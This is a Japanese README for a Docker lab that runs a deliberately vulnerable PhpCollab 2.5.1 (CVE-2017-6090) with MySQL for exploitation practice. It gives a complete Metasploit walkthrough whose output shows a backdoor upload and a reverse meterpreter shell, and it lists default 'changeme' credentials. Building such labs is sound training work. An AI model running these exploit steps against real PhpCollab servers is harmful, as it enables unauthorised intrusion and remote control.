
コンテナ化されたエクスプロイト可能なPhpCollab
このプロジェクトは、CVE-2017-6090 で詳細が公開されているリモートコード実行の脆弱性を含む PhpCollab 2.5.1 を実行するコンテナを構築します。さらに、そのコンテナと mysql を起動してデモを行うための docker-compose ファイルがあり、悪用手順は以下に示します。
docker build -t containername . またはイメージ jlkinsel/exploit-cve-2017-6090 を使用します。
これを立ち上げる最も簡単な方法は、同梱の docker-compose.yml ファイルを使うことです。もし暇になったら、または興味を示す人がいれば、Kubernetes デプロイメントや Helm チャートを作成するかもしれません。
それでは、始めましょう:
docker-compose up
ここまでは順調です! 次に、phpcollab をデータベースを使用するように設定し、デフォルトの管理者パスワードを設定する必要があります。この自動化を(少しだけ)試みましたが、しかし…まあ…あなたはブラウザーの使い方をご存じのようですので…
最後に、ログインして色々見て回ることもできますが、エクスプロイトには必要ありません。
この Docker 構成はストレージに関して特別なことをしていないことに注意してください。mysql データベースを永続化したい場合は、docker-compose.yml の mysql サービス定義にボリューム定義を追加する必要があります。例は mariadb docker hub ページ を参照してください。
まず、上記の 実行と設定 に従ってアプリケーションを起動してください。
このプロジェクトにはエクスプロイトを追加していません。なぜなら、そう、Metasploit があるからです。
MSF は初めてですか? 今起動したコンテナをエクスプロイトする簡単な概要は次のとおりです:
docker run -ti --network exploitcve20176090_default remnux/metasploit
起動には数分かかります。remnux/metasploit の docker hub ページではボリュームの使用について説明しているので、今後はそれほど時間がかからないでしょう。しかし、今はこのまま進めましょう!
シェルプロンプトが表示されたら、続けましょう:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
この時点で、あなたは侵入しており、ゲームを始めることができます。
このディレクトリの名前が "exploit-CVE-2017-6090" 以外の場合は、上記の --network コマンドを変更する必要があります。
また、外部では 8088 ですが、msfconsole でリモートポートを 80 に設定しました。Metasploit コンテナは phpcollab コンテナと同じネットワーク上にあります。
| 項目 |
|---|
| 値 |
|---|
| データベースサーバー | mysql |
| データベースログイン | phpcollab |
| データベースパスワード | changeme |
| データベース名 | phpcollab |
| 通知 | False |
| 管理者パスワード | changeme (または任意の値 |